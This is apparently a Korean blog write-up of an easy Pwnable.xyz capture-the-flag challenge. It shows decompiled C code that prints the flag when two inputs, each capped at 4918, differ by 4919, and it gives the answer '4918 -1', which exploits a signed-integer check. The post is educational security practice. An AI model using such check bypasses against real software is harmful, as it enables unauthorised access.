진짜 개쉽다.
예전에 한번 푼 적이있었는데, 지금와서 다시풀어보니 이건 진짜 너무쉽다
아마 welcome보다 쉬울꺼다.
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v4; // [rsp+0h] [rbp-18h]
int v5; // [rsp+4h] [rbp-14h]
unsigned __int64 v6; // [rsp+8h] [rbp-10h]
v6 = __readfsqword(0x28u);
sub_A3E(a1, a2, a3);
v4 = 0;
v5 = 0;
_printf_chk(1LL, "1337 input: ");
_isoc99_scanf("%u %u", &v4, &v5);
if ( v4 <= 4918 && v5 <= 4918 )
{
if ( v4 - v5 == 4919 )
system("cat /flag");
}
else
{
puts("Sowwy");
}
return 0LL;
}
딱봐도 뭔지 알겠는가?
두개를 입력을 받고 각 입력받은 숫자는 4918을 넘으면 안된다.
그럼 어떻게 만드냐는 질문이 있겠다.
답은 바로 중학교 수학안에 있다. ㅋㅋㅋㅋㅋ
4918 - (-1) 을 이렇게하면?
4919가 나온다.
"4918 -1"
이런식으로해주면 플레가 나오는것을 확인할수있다.
'CTF > Pwnable.xyz' 카테고리의 다른 글
Pwnable.xyz pwnable_xor Write up (0) | 2019.11.17 |
---|---|
Pwnable.xyz pwnable_misailgnment Write up (0) | 2019.11.09 |
Pwnable.xyz pwnable_add Write up (0) | 2019.11.09 |
Pwnable.xyz pwnable_welcome Write up (0) | 2019.11.09 |
Pwnable.xyz pwnable_note Write up (0) | 2019.10.21 |